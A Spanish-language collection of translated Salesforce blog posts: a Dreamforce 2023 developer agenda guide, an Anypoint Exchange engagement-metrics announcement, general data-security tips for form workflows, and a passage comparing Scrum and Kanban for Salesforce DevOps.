Sabemos que está contando ansiosamente los días hasta que comience Dreamforce, así que siga leyendo para comenzar a planificar su experiencia Dreamforce perfecta, desde conferencias magistrales hasta sesiones en Developer Track y demostraciones prácticas en acción en Developer Grove.

Vea la última tecnología en la conferencia magistral sobre el futuro del desarrollo

AI + Data + CRM están cambiando rápidamente el futuro de los negocios y los desarrolladores están a la vanguardia. Únase al presidente y director de ingeniería, Srini Tallapragada, y a invitados especiales para aprender todo sobre el futuro del desarrollo y cómo puede aprovechar la IA en su trabajo.

Si asistirá a Dreamforce en persona, asegúrese de agregar la conferencia magistral a su agenda . Si lo seguirá desde casa, vea la conferencia magistral completa mientras se transmite en vivo en Salesforce+ .

📅 Marque sus calendarios: jueves 14 de septiembre, de 1:30 a 2:20 p. m., hora del Pacífico
🎤 Oradores destacados: Srini Tallapragada, Alba Rivas, Adam White, Kat Holmes, Chris Peterson, Avanthika Ramesh
❗ Añadir a tu agenda

Descubra los aspectos más destacados de la versión para desarrolladores en Developer Preview Live

Eche un primer vistazo a las principales funciones, herramientas e innovaciones para desarrolladores de la versión Winter '24. Vea demostraciones en vivo de interesantes innovaciones de productos y haga preguntas a nuestros expertos en productos. Hay tantas innovaciones nuevas para los desarrolladores en esta versión que ¡no querrás perderte esto!

📅 Marque sus calendarios: jueves 14 de septiembre, de 2:30 a 3:30 p. m., hora del Pacífico
🎤 Oradores destacados: Aditya Naag Topalli, Mohith Shrivastava, Ewald Hofman, Danielle Larregui, Greg Whitworth, Akshata Sawant, Sarah Welker
❗ Añadir a tu agenda

Mejora tus habilidades en la ruta de desarrollador

Developer Track ofrece una combinación de sesiones de teatro de 20 minutos en Developer Theatre y sesiones de trabajo de 40 minutos. Espere asimilar las mejores prácticas, consejos y mucha inspiración. ¡Y hay algo para todos, sin importar los temas que te apasionen! Tenemos sesiones para todos los niveles (principiante, intermedio, avanzado) en todas las funciones y temas: IA generativa, nube de datos, DevOps Center, MuleSoft, Code Builder, Apex, AppExchange, Lightning Web Components, Slack, seguridad, accesibilidad y más.

📍 Las sesiones de calentamiento se ubicarán en todo Trailblazer Forest: en Developer Theatre junto a Developer Grove, Redwood Theatre, Einstein Theatre, Data Cloud Theatre y Olympic Theatre. Las sesiones de trabajo de Developer Track se llevarán a cabo en el segundo y tercer piso de Moscone West. Asegúrese de consultar su agenda para conocer la ubicación exacta de las habitaciones.

Para encontrar estas sesiones en el catálogo de sesiones de Dreamforce , seleccione Función en la navegación izquierda y marque Desarrollador para ver todas las sesiones etiquetadas para desarrolladores.

Algunas sesiones imperdibles para agregar a tu agenda ✏️

Descubra el poder de Einstein GPT para desarrolladores
Qué esperar: La IA generativa ha arrasado en el mundo de la tecnología. Conozca las capacidades más recientes de Einstein GPT y cómo los desarrolladores pueden utilizar la tecnología para crear sus propias aplicaciones impulsadas por IA en Salesforce.
Oradores destacados: Stephan Chandler-García, Ananya Jha
❗ Añade esta sesión a tu agenda

Comprensión de la nube de datos para desarrolladores de Salesforce
Qué esperar: aprenda qué significa Data Cloud para los desarrolladores, cómo se exponen sus artefactos como metadatos de plataforma familiares y cómo ingerir e interactuar con sus datos mediante SQL, Apex, Flows, API y SDK.
Oradores destacados: Aditya Naag Topalli, Danielle Larregui
❗ Añade esta sesión a tu agenda

¿Quieres un mejor código? Einstein GPT y Code Analyzer pueden ayudar
Qué esperar: Impulse el desarrollo de Salesforce con el dúo dinámico de Einstein GPT para desarrolladores y Code Analyzer. Aprenda cómo optimizar la generación y validación de código directamente desde las experiencias IDE.
Oradores destacados: Gordon Bockus, Vivek Chawla
❗ Añade esta sesión a tu agenda

Componentes web Lightning: novedades y novedades
Qué esperar: aprenda cómo puede utilizar Lightning Web Components para hacer que el desarrollo en Salesforce sea más fácil y eficiente. Vea las últimas funciones disponibles para LWC y lo que se avecina en la hoja de ruta.
Oradores destacados: Alicia Teo, Alice Oh, Leo Balter
❗ Añade esta sesión a tu agenda

Hoja de ruta de Apex: novedades y novedades
Qué esperar: Los gerentes de producto de Salesforce profundizarán en las funciones lanzadas recientemente y en el futuro en la hoja de ruta de Apex, incluido Einstein GPT para desarrolladores.
Oradores destacados: Daniel Ballinger, Chris Peterson
❗ Añade esta sesión a tu agenda

Aumente la productividad de los desarrolladores con GraphQL e IA generativa
Qué esperar: Sumérgete en la nueva API GraphQL, donde las consultas y mutaciones se pueden combinar en una sola solicitud, ganando rendimiento y flexibilidad. Eche un vistazo a cómo redactar consultas con IA generativa.
Oradores destacados: Julián Duque, Ben Sklar
❗ Añade esta sesión a tu agenda

Desarrollar componentes web Lightning para dispositivos móviles sin conexión
Qué esperar: ¿ Usuarios móviles sin conexión? Aprenda cómo habilitarlos con componentes web Lightning personalizados para mostrar e incluso actualizar registros mientras un dispositivo móvil está desconectado de Internet.
Oradora destacada: Angela Le
❗ Añade esta sesión a tu agenda

Gestionar dependencias y conflictos en el Centro DevOps
Qué esperar: profundice en cómo los desarrolladores utilizan DevOps Center para gestionar el ciclo de vida del desarrollo de software. Comience con DevOps Center y aprenda a solucionar los problemas más comunes, como la resolución de conflictos.
Oradores destacados: Gilson Canario, Francisco Sammartino
❗ Añade esta sesión a tu agenda

Cinco cosas que los desarrolladores de Salesforce deben saber sobre MuleSoft
Qué esperar: Únase a esta sesión para conocer los conceptos clave de MuleSoft que necesita saber como desarrollador de Salesforce. Nos centraremos en las mejores prácticas, consejos y trucos, antipatrones y más con ejemplos en vivo.
Oradores destacados: Gaurav Kheterpal, Akshata Sawant
❗ Añade esta sesión a tu agenda

Pon a prueba tus habilidades en Developer Grove

Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres días .

Nuestra principal atracción este año es una competencia estilo arcade que pone a prueba tus habilidades de ingeniería en IA. ¡Completa tantos desafíos como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificación y puedas presumir de ello!

Visite la estación de demostración que cubre nuestras aplicaciones de muestra y recetas de código, y descubra cómo puede utilizarlas en su propio trabajo. Cada estación contará con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.

❗Novedad de este año: Estación de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta página y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviará una confirmación por correo electrónico y estará disponible en la aplicación Salesforce Events; descárguela ahora en App Store o Google Play Store .

Otras cosas a tener en cuenta 👀

Conferencia principal de Dreamforce

Únase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones más recientes.

📅 Marque sus calendarios: martes 12 de septiembre, de 10 a. m. a 12 p. m., hora del Pacífico
❗ Añade la keynote a tu agenda

Fiel al foro principal de clientes

Únase al cofundador y director de tecnología Parker Harris en el foro anual de clientes True to the Core. Escuche a los líderes de productos compartir los aspectos más destacados de nuestra hoja de ruta de productos. Si nunca ha asistido, esta es una excelente sesión para que los desarrolladores pregunten y escuchen las respuestas de nuestros gerentes de producto. ¡Una cosa que seguirá siendo “central” en True to the Core es que habrá muchas preguntas!

📅 Marque sus calendarios: jueves 14 de septiembre, de 11:30 a. m. a 12:30 p. m., hora del Pacífico
❗ Añade esta sesión a tu agenda

Conferencia magistral de TI: cree su cliente 360 con IA confiable

Aprenda cómo resolver sus desafíos de TI más difíciles con IA + Datos + CRM. Escuche cómo los pioneros utilizan las últimas innovaciones de plataforma, nube de datos y MuleSoft para crear entornos de TI de próxima generación, con potentes capacidades de IA generativa integradas.

📅 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pacífico
❗ Añade esta sesión a tu agenda

Celebración pionera de la noche 1

Recuperaremos la diversión la primera noche de Dreamforce. Únase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.

Pistas de administrador y arquitecto

¿Busca diversificar su agenda en Dreamforce este año? Consulte todas las sesiones de código y de código bajo en la sección de administración y en la sección de arquitecto . Para obtener más información sobre cada uno, lea la Guía del administrador de Dreamforce 2023 .

Obtenga aún más contenido de Dreamforce 2023 en Salesforce+

¿No puedes asistir a Dreamforce en persona? Durante los tres días, las conferencias magistrales y las sesiones seleccionadas se transmitirán en vivo en Salesforce+. Habrá dos canales y 72 horas de transmisión en vivo. Además de la experiencia en vivo, más de 120 episodios bajo demanda estarán disponibles para verlos después de que finalice Dreamforce en cualquier momento y lugar.

Regístrese en Salesforce+ ahora para obtener acceso a todo el contenido exclusivo.

Empieza ahora

¡Dreamforce 2023 estará aquí antes de que te des cuenta! Siga estos pasos para prepararse:

  1. Regístrese para asistir a Dreamforce si aún no lo ha hecho.
  2. Agregue el discurso de apertura sobre el futuro del desarrollo y la vista previa de la versión para desarrolladores a su agenda.
  3. Complete Road to Dreamforce 2023 Trailhead Quest antes de las 11:59 p. m. (hora del Pacífico) del 11 de septiembre de 2023 para desbloquear una insignia comunitaria exclusiva y participar para tener la oportunidad de ganar* una de las 25 codiciadas sudaderas con capucha Trailblazer o una de las 50 camisetas Dreamforce.* Se aplican las reglas oficiales . Consulte la página Trailhead Quests para obtener todos los detalles.
  4. Descargue la aplicación Salesforce Events en App Store o Google Play Store para realizar un seguimiento de todo lo que hay en su agenda en un lugar de fácil acceso.
  5. Conéctese con sus pares en el grupo comunitario Salesforce Developers Trailblazer.
  6. Si no asiste en persona, asegúrese de registrarse para la experiencia Salesforce+.
  7. Seguir @salesforcedevs en Twitter y LinkedIn para obtener más actualizaciones.

Sobre el Autor

Kaitlin Benz es especialista sénior en marketing de desarrolladores en Salesforce. Lo que más le apasiona es la narración de historias, los podcasts y la comida vegana. Encuéntrala en LinkedIn .

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Cierre el ciclo de comentarios con el uso de activos de intercambio y las métricas de participación ☁️

Cierre el ciclo de comentarios con el uso de activos de intercambio y las métricas de participación ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

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Cierre el ciclo de retroalimentación con el uso de activos de Exchange y las métricas de participación | Blog de desarrolladores de Salesforce

Como desarrollador, desea que su ciclo de desarrollo sea altamente eficiente. Parte de eso implica 1) descubrir y reutilizar fácilmente los activos relevantes con confianza y 2) comprender dónde y cómo se usan (y reutilizan) sus activos, para que pueda tomar decisiones informadas.

Anypoint Exchange , un componente clave de Anypoint Platform, permite a los desarrolladores y administradores crear rápida y fácilmente redes de aplicaciones y empresas componibles . Se integra a la perfección en el "flujo de trabajo" de los clientes y brinda capacidades para producir y consumir activos reutilizables . Los activos son recursos que se pueden crear, descubrir y compartir. Exchange admite varios tipos de recursos reutilizables, incluidos varios tipos de API (REST, GraphQL, etc.), fragmentos de especificaciones de API, recursos personalizados, ejemplos, recursos de integración (conectores, etc.) y recursos de automatización (RPA, etc.).

Un componente de la propuesta de valor central de Exchange es impulsar la eficiencia a través de la reutilización: los activos reutilizables y preconstruidos ayudan a impulsar el viaje del desarrollador. El nuevo panel de compromiso de activos lo ayuda a cuantificar el compromiso y el uso (impulsores clave de la reutilización) por activo, ofreciendo información sobre el rendimiento de sus activos.

Los beneficios clave de esta nueva característica incluyen:

  • Impulse el crecimiento, el compromiso y la reutilización en todo el catálogo
  • Acceda a métricas de uso y puntajes de participación para obtener una vista compuesta de cómo se utilizan sus activos
  • Realice un seguimiento y gestione la adopción de activos con paneles listos para usar
  • Vea análisis de rendimiento de toda su biblioteca de activos en un solo lugar

Panel de métricas de participación de activos (vista de administrador)

Los usuarios con la función de administrador de Exchange pueden ver las métricas de uso y compromiso de los fragmentos de especificación de API y las API de REST mediante el panel. Las métricas de uso miden lo siguiente:

  • Número de veces que se descarga un recurso de Exchange
  • # de importaciones desde API Designer
  • # de importaciones desde Anypoint Studio
  • # de dependientes
  • # de contratos

La puntuación de participación de activos es una métrica compuesta que se puede usar para medir el uso relativo de un activo en Exchange. El tablero muestra métricas de hasta los 50 activos principales durante un período de los últimos 7 días, 30 días o 60 días, clasificados por puntaje de participación. Puede filtrar los activos principales por fragmentos de especificación de API y tipos de API REST y por una o más organizaciones.

El siguiente gráfico muestra el panel de métricas de uso y participación:

Esta función permite a los usuarios con la función de administrador de Exchange tener una visión holística del uso y consumo de activos en su organización, proporcionando información sobre la reutilización de los activos y permitiéndoles impulsar aún más las prácticas eficientes.

Métricas para un activo y una versión específicos

Esta nueva función también le permite ver las métricas de participación de un activo individual y/o una versión específica. Puede hacerlo navegando a la página de detalles del activo de un activo compatible y seleccionando Compromiso de la versión del activo en la barra lateral de navegación izquierda.

El siguiente gráfico muestra la página de detalles del activo con métricas de uso y participación.

Recopilamos y analizamos una amplia gama de metadatos de activos (incluida la versión y el estado del ciclo de vida, entre otros) y métricas (incluida la contribución de participación, las descargas y las importaciones, entre otros). Consulte la documentación para obtener más detalles y definiciones.

Esta vista puede ayudarlo a identificar las versiones de activos que tienen un alto uso general frente a las versiones con poco uso. Esta información puede ayudarlo a comprender mejor el rendimiento y la adherencia de versiones de activos específicos dentro de su organización, lo que lo ayuda a tomar decisiones más informadas cuando se trata de reutilizar y hacer que el proceso de desarrollo sea más eficiente.

Disponibilidad y soporte futuro

Hoy, esta nueva función está disponible para usuarios con la función de administrador de Exchange y propietarios de activos con permiso de colaborador de Exchange . Además, los dos tipos de activos que se admiten actualmente son 1) API REST y 2) fragmentos de especificaciones de API. En el futuro, nos esforzaremos por admitir una gama más amplia de tipos de activos disponibles en Exchange para brindarle una visión más holística del uso, la participación y la reutilización dentro de su organización.

Conclusión

Esta nueva característica de Anypoint Exchange cierra el ciclo de retroalimentación y proporciona nuevos conocimientos basados en datos sobre la participación y el uso de activos. Esta característica ayudará a los desarrolladores a comprender mejor cómo se utilizan sus activos, para que puedan impulsar mejoras en la documentación, el etiquetado de metadatos y más. Los administradores pueden usar esta información para identificar los principales activos adoptados e impulsar las mejores prácticas en todo el catálogo, al mismo tiempo que comprenden mejor qué tipos de activos son valiosos para los desarrolladores. Finalmente, Exchange planea usar estas métricas para impulsar más mejoras y experiencias de productos. ¡Siga las notas de la versión para futuras iteraciones de esta característica!

Sobre el Autor

Ria Joshi es Gerente de Producto en MuleSoft enfocada en Anypoint Exchange. En su función, se esfuerza por generar una cultura de producto basada en datos. Fuera del trabajo, Ria es una corredora de larga distancia y una ávida senderista.

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Cómo mantener la seguridad en los flujos de trabajo de recopilación de datos de Salesforce

Cómo mantener la seguridad en los flujos de trabajo de recopilación de datos de Salesforce

Última actualización el 18 de agosto de 2023 por Rakesh Gupta

La seguridad de los datos debe ser una de sus principales prioridades si recopila, almacena y administra información personal. La protección de datos es especialmente importante si sus flujos de trabajo de recopilación de datos de Salesforce se integran con varias herramientas, como un generador de formularios web o un sistema de pago.

Muchas regiones e industrias tienen leyes estrictas de privacidad de datos, que incluyen GDPR, GLBA, HIPAA y otras, que rigen la forma en que las organizaciones manejan los datos. Puede garantizar la seguridad y el cumplimiento de los datos a lo largo de sus flujos de trabajo de recopilación de datos de Salesforce de varias maneras, incluido el enmascaramiento y el cifrado de datos, el control y los permisos de acceso, y el monitoreo regular.

Comprender la importancia de mantener los datos seguros

Los datos confidenciales son todos los datos que se pueden usar para identificar a una persona o dañarlos si se pierden o son robados. Los tipos de datos confidenciales incluyen:

  • Información de identificación personal
  • información de salud protegida
  • Registros financieros o educativos
  • Datos étnicos, políticos y biométricos

Mantener la seguridad de los datos personales ayuda a generar confianza con las personas que comparten su información personal con usted. También garantiza que su organización evite sanciones por incumplimiento de las leyes de privacidad de datos.

Prácticas recomendadas de seguridad al recopilar datos

Su organización es responsable de asegurarse de que las herramientas de recopilación de datos que utiliza tengan implementadas las medidas de seguridad adecuadas. Podrá proteger mejor los datos confidenciales desde el momento en que se recopilan, a medida que se mueven a través de sus flujos de trabajo y cuando se trasladan a Salesforce.

Enmascarar campos sensibles

El enmascaramiento de campo ayuda a garantizar que los datos confidenciales se mantengan confidenciales y no se expongan innecesariamente a usuarios no autorizados.

Cifrar datos

El cifrado de datos ayuda a proteger los datos confidenciales contra el acceso, uso o robo no autorizados, ya sea que estos datos estén en reposo o en tránsito.

Limite el acceso a los datos

La implementación de control de acceso y permisos garantiza que solo los usuarios autorizados puedan acceder o modificar los datos.

Supervisar y auditar flujos de trabajo

La vigilancia constante ayuda a garantizar que los flujos de trabajo de recopilación de datos mantengan el nivel adecuado de seguridad para mantener seguros los datos confidenciales.

2 formas de mejorar la seguridad en los flujos de trabajo de recopilación de datos de Salesforce

Un flujo de trabajo de recopilación de datos de varios pasos tendrá diferentes puntos de entrada con posibles riesgos de seguridad, como formularios, correos electrónicos y cargas de archivos. Es importante que en cada paso de sus procesos de datos, tenga medidas de seguridad para garantizar que personas no autorizadas no accedan a datos o archivos.

Asegúrese también de probar continuamente sus flujos de trabajo de recopilación de datos de Salesforce en busca de vulnerabilidades de seguridad. La detección temprana de amenazas disminuirá la posibilidad de una violación de datos u otras consecuencias graves.

Implementar reglas de retención de datos

La creación de una política clara de retención de datos es fundamental para definir cómo su organización maneja los datos con fines de cumplimiento. Es importante establecer reglas sobre qué datos deben conservarse y durante cuánto tiempo, así como reglas sobre quién tiene acceso y cómo deshacerse de los datos correctamente una vez que ya no se necesitan.

Acceso a los datos

Establecer reglas de acceso a datos como parte de su política de retención de datos garantizará que solo los usuarios autorizados en un flujo de trabajo tengan acceso a datos confidenciales. Los controles administrativos también pueden incluir el requisito de que los usuarios inicien sesión para ver o modificar las listas de respuestas del flujo de trabajo.

Purga de datos

Dentro de su flujo de trabajo, la configuración de reglas de depuración de datos puede garantizar que los datos de respuesta se eliminen de forma permanente una vez que ya no los utilice. Personalice esta configuración de depuración de datos, como la frecuencia con la que se completa una depuración, según sus requisitos de retención de datos.

Aproveche las aprobaciones del flujo de trabajo

Establecer pasos de aprobación dentro de los flujos de trabajo es importante para garantizar la responsabilidad durante el proceso de recopilación de datos. Los pasos de aprobación dentro de un flujo de trabajo significan que ningún usuario tiene control total sobre los cambios o decisiones de datos, lo que ayuda a mejorar la seguridad y la confidencialidad.

Detección de errores

Los pasos de aprobación en un flujo de trabajo proporcionan un proceso de revisión de datos estándar antes de que los datos se acepten o utilicen oficialmente. Esto ayuda a reducir las incoherencias y los errores, así como a garantizar el cumplimiento de las normas de privacidad de datos pertinentes.

Pista de auditoría

Los registros de auditoría para las aprobaciones de flujos de trabajo simplifican el proceso al registrar cada paso de aprobación y crear un registro histórico de los cambios realizados en los datos. También se pueden utilizar durante las investigaciones en caso de brechas de seguridad o problemas de datos.

Simplificación de los flujos de trabajo de recopilación de datos de Salesforce con FormAssembly

Cuando se trata de proteger los flujos de trabajo de datos, es fundamental contar con políticas de privacidad y seguridad de datos. Su organización puede beneficiarse del uso de una única plataforma de flujo de trabajo y recopilación de datos como FormAssembly, que facilita la centralización de la protección contra amenazas y garantiza el cumplimiento. Este enfoque le permite escalar más fácilmente, auditar los flujos de datos de forma centralizada y aumentar la eficiencia, al mismo tiempo que maximiza la seguridad en todos sus flujos de trabajo de recopilación de datos de Salesforce.

La potente plataforma conectada a Salesforce de FormAssembly combina la recopilación de datos segura y compatible con un generador de procesos visual e inteligente que le permite crear procesos complejos que incluyen formularios, correos electrónicos, integraciones y más, todo sin código.

Descubra cómo FormAssembly puede ayudarlo a optimizar sus flujos de trabajo de recopilación de datos de Salesforce mientras mantiene seguros los datos confidenciales.

👉 Más información sobre el flujo de trabajo de FormAssembly

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

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Incorporación de Agile en Salesforce DevOps – Inspire Planner

Incorporación de Agile en Salesforce DevOps - Inspire Planner

La rápida era digital exige que las empresas entreguen valor de manera rápida y eficiente. Sin embargo, los equipos dispersos geográficamente y las operaciones de desarrollo complejas, particularmente en Salesforce DevOps, a menudo pueden dar lugar a plazos incumplidos, equipos tensos y flujos de trabajo inconexos. Ahí es donde entra en juego Agile en Salesforce DevOps.

La gestión ágil de proyectos ofrece una solución que incorpora las metodologías Scrum y Kanban para permitir una adaptación rápida, una colaboración mejorada y una entrega continua de software de alta calidad, lo que ayuda a las empresas a mantenerse competitivas y cumplir con las expectativas de los clientes.

En una encuesta realizada por KPMG, el 84% de los participantes informaron que su organización utiliza metodologías Scrum o Kanban. Entonces, la pregunta es, ¿y tú?

Comprensión de Agile en Salesforce DevOps: Scrum y Kanban

Tabla de contenido

Las metodologías ágiles son estrategias flexibles que facilitan una gestión de proyectos ágil y eficiente en el desarrollo de software. Se basan en los principios de:

  • Transparencia : este principio garantiza que todos los aspectos del proyecto sean visibles para todos los responsables del resultado. Esto incluye información sobre los objetivos, el progreso y el proceso del proyecto.
  • Inspección : los miembros del equipo y las partes interesadas inspeccionan con frecuencia el progreso y el trabajo hacia la meta del proyecto para detectar variaciones no deseadas.
  • Adaptación : si el equipo identifica discrepancias significativas durante una inspección, debe ajustar su proceso o los materiales en los que se está trabajando.

Melé

Scrum está diseñado para equipos compuestos por diez miembros o menos. Este enfoque implica dividir el trabajo en objetivos que deben cumplirse dentro de períodos específicos conocidos como sprints. Un Sprint es un período de tiempo dentro del cual se crea un incremento de producto "Terminado", utilizable y potencialmente liberable.

Por lo general, cada sprint dura hasta un mes, pero la duración más común es de dos semanas. El equipo evalúa su progreso en reuniones diarias de scrum, que son debates rápidos que no superan los 15 minutos.

Al finalizar un sprint, se llevan a cabo dos reuniones adicionales: una revisión del sprint para mostrar el trabajo a las partes interesadas y recopilar sus comentarios, y una retrospectiva del sprint que permite al equipo reflexionar e identificar áreas de mejora.

Gestión de proyectos Scrum en Inspire Planner, la aplicación de gestión de proyectos nativa de Salesforce
Creación de un Sprint en Inspire Planner, una aplicación de gestión de proyectos nativa de Salesforce

Kanban

Kanban es un sistema visual que ayuda a administrar el trabajo, identificar cuellos de botella y garantizar un flujo de trabajo eficiente y rentable.

Kanban sigue cuatro principios:

  • Visualice el flujo de trabajo : un modelo visual del trabajo permite a los miembros observar el flujo de trabajo que se mueve a través del sistema y responder rápidamente a los bloqueos.
  • Limite el trabajo en progreso (WIP) : al limitar la cantidad de trabajo sin terminar que está en proceso, los equipos pueden reducir el tiempo que tarda un elemento en viajar a través del sistema Kanban.
  • Gestionar Flujo : La gestión de elementos de trabajo debe ser continua y enfocada a lograr un flujo fluido, con tiempos de finalización rápidos y trabajo de calidad.
  • Mejora continua : los equipos deben analizar continuamente su flujo de trabajo y hacer los ajustes necesarios para mejorar el rendimiento y la eficiencia.
Tablero Kanban en Inspire Planner, aplicación de gestión de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, aplicación de gestión de proyectos nativa de Salesforce
Tablero Kanban en Inspire Planner, una herramienta de gestión de proyectos nativa de Salesforce

Análisis comparativo de Scrum y Kanban

El siguiente análisis le brinda una breve descripción general de qué marco podría usar en su organización.

Melé Kanban
Flujo de rutina frente a flujo continuo Scrum se basa en iteraciones de tiempo limitado llamadas Sprints, generalmente de 1 a 4 semanas de duración. Se enfoca en el flujo continuo y no tiene plazos específicos.
roles Ayuda a los equipos a administrar proyectos complejos dividiéndolos en "sprints" manejables y con límites de tiempo con revisiones periódicas y retrospectivas Mejora la transparencia y la eficiencia del flujo de trabajo al visualizar las tareas y limitar el trabajo en curso
Filosofía del cambio Scrum desalienta los cambios dentro de un sprint. Permite realizar cambios en cualquier momento
Alcance del Trabajo Funciona mejor con proyectos complejos con elementos interdependientes que requieren colaboración. Funciona bien para tareas en curso y actividades de mantenimiento.

Fortalezas y limitaciones de Agile en Salesforce DevOps: Scrum vs Kanban

Por supuesto, antes de decidir qué marco usar para Agile en Salesforce DevOps, es esencial observar sus fortalezas y limitaciones:

Melé Kanban
Fortalezas + Adecuado para proyectos complejos donde se necesita una estrecha colaboración y una respuesta rápida.
+ Funciones y responsabilidades bien definidas mejoran la rendición de cuentas.
+ Las revisiones periódicas y las retrospectivas fomentan la mejora continua.		 + Excelente visualización del trabajo en curso.
+ Flexibilidad para manejar cambios o nuevas tareas.
+ Ideal para flujos de trabajo continuos e ininterrumpidos.
Limitaciones – Las iteraciones fijas pueden generar ineficiencias si no se completa todo el trabajo dentro del sprint.
– No es tan flexible para cambiar a mitad del sprint.
– Requiere un alto nivel de disciplina y comprensión de los principios de Scrum.		 – Puede que no sea tan efectivo para tareas complejas e interdependientes.
– Sin disciplina, los límites WIP pueden ignorarse, lo que genera cuellos de botella.
– La falta de limitaciones de tiempo puede dar lugar a retrasos y falta de urgencia.

El papel de Scrum en Salesforce DevOps

Salesforce es una plataforma altamente personalizable que requiere actualizaciones y mejoras frecuentes para satisfacer las necesidades dinámicas de las empresas. Aquí es donde Scrum puede traer ventajas significativas.

  • Desarrollo iterativo : el enfoque iterativo de Scrum se alinea bien con el desarrollo de Salesforce. Permite lanzamientos menores e incrementales con cada sprint, lo que permite a los equipos responder más rápidamente a los requisitos y cambios comerciales.
  • Claridad de funciones : las funciones definidas en Scrum (Propietario del producto, Scrum Master y Equipo de desarrollo) brindan responsabilidades y responsabilidades claras, fomentando un entorno de trabajo en equipo sólido y una comunicación efectiva, que son fundamentales en los proyectos de Salesforce.
  • Comentarios y mejoras continuas : con las revisiones y retrospectivas periódicas de Scrum, el equipo puede aprender y adaptarse continuamente a las necesidades cambiantes. Esta agilidad es especialmente beneficiosa dados los frecuentes lanzamientos y actualizaciones de Salesforce.
  • Mitigación de riesgos : los sprints breves y delimitados en el tiempo permiten la identificación y resolución temprana de problemas o riesgos, lo que reduce las posibilidades de fracaso del proyecto. Para obtener más detalles sobre este tema, consulte nuestro artículo sobre cómo reducir los riesgos y problemas imprevistos del proyecto.

Beneficios de usar Scrum y Agile en Salesforce DevOps

Mejorar la colaboración, la flexibilidad y la productividad en Salesforce DevOps con Scrum es una excelente manera de garantizar que los proyectos se entreguen con éxito y a tiempo. Este es el por qué:

  • Colaboración : Scrum fomenta un entorno altamente colaborativo. Las reuniones diarias de Scrum mantienen a todos alineados sobre el estado y los desafíos del proyecto, lo que promueve una resolución de problemas más efectiva. Además, la comprensión compartida y la comunicación frecuente reducen los malentendidos y la repetición del trabajo.
  • Flexibilidad : la naturaleza iterativa de Scrum permite que los cambios se incorporen fácilmente en el próximo sprint. Esto es particularmente beneficioso en Salesforce DevOps, donde los cambios son frecuentes debido a nuevos requisitos comerciales, comentarios de clientes o actualizaciones de Salesforce.
  • Productividad : al dividir el proyecto en unidades manejables (sprints), los equipos pueden enfocarse mejor y producir un trabajo de alta calidad, mejorando la productividad. Además, la visibilidad de la capacidad del equipo evita la sobrecarga y fomenta un ritmo sostenible, lo que contribuye a elevar la moral y mejorar aún más la productividad.

    Los equipos que implementan efectivamente las metodologías Scrum pueden presenciar un aumento de la productividad que oscila entre el 300 % y el 400 %.

  • Satisfacción del cliente : Scrum se enfoca en brindar valor con cada sprint, lo que lleva a resultados frecuentes y tangibles. Esta entrega constante de características valiosas puede aumentar la satisfacción del cliente mediante el uso de Agile en Salesforce DevOps.

    Cuando MediaMarkt, el minorista de electrónica de consumo líder en Europa, se expandió a China en 2010, desarrolló rápidamente una innovadora suite de planificación de recursos empresariales (ERP) en un año. Gracias a la metodología Scrum y un equipo colaborativo, implementaron múltiples aplicaciones estándar, lo que facilitó el lanzamiento de nuevas tiendas en Asia y preparó un crecimiento sustancial en China.

Aprovechamiento de Kanban para Salesforce DevOps

Kanban es una metodología Agile robusta que mejora la visibilidad y la eficiencia en los entornos de Salesforce DevOps. Así es cómo:

  • Visibilidad : Kanban utiliza un tablero visual (tablero Kanban) para representar el flujo de trabajo. Cada tarea o historia de usuario se representa como una tarjeta en este tablero, moviéndose de una columna a otra a medida que avanza. El uso de tableros Kanban para administrar el flujo de trabajo ha experimentado un aumento constante, con el 61 % de los encuestados usándolos ahora, un aumento sustancial del 6 % inicial informado en la primera encuesta.
  • Eficiencia : al establecer límites de trabajo en curso (WIP), Kanban evita que los miembros del equipo se sientan abrumados con demasiadas tareas. Esto conduce a un mejor enfoque y una finalización más rápida de las tareas. Cuando se identifica un cuello de botella (por ejemplo, demasiadas tareas en una columna en particular), se aborda de inmediato para mantener el flujo de trabajo de manera eficiente.
  • Entrega continua : en un entorno de Salesforce DevOps, a menudo existe la necesidad de entrega, mantenimiento o soporte continuos. Kanban respalda esto al promover un flujo continuo de trabajo en lugar de trabajar en iteraciones o sprints de longitud fija.

    Siemens Health Services quería aumentar la velocidad y la calidad de la entrega de software. A pesar de los contratiempos iniciales con sus métodos ágiles, el cambio hacia el pensamiento Lean y la adopción de Kanban mejoraron drásticamente la transparencia de sus procesos, aumentaron la calidad del trabajo, redujeron las tasas de defectos y, en última instancia, impulsaron el compromiso del equipo, lo que hizo que sus productos fueran más competitivos en un mercado exigente.

  • Flexibilidad : Kanban permite agregar nuevas tareas a la cartera de pedidos en cualquier momento, siempre que se respeten los límites WIP. Esto es particularmente beneficioso en un entorno de Salesforce DevOps donde existe la necesidad de reaccionar rápidamente ante nuevos problemas o cambios.

Pasos para integrar la metodología Kanban en proyectos de Salesforce

Estos son los pasos prácticos necesarios para integrar de manera efectiva la metodología Kanban en sus proyectos de Salesforce para mejorar la visibilidad y la eficiencia:

  • Defina las etapas del flujo de trabajo : divida su flujo de trabajo en distintas etapas. Algunas de las etapas típicas incluyen Backlog, En desarrollo, UAT y Completado, pero se pueden ajustar según las necesidades específicas de su proyecto.
  • Cree un tablero Kanban : use una herramienta de gestión de proyectos física o digital como Inspire Planner para crear su tablero Kanban. Representa cada etapa del flujo de trabajo como una columna en el tablero.
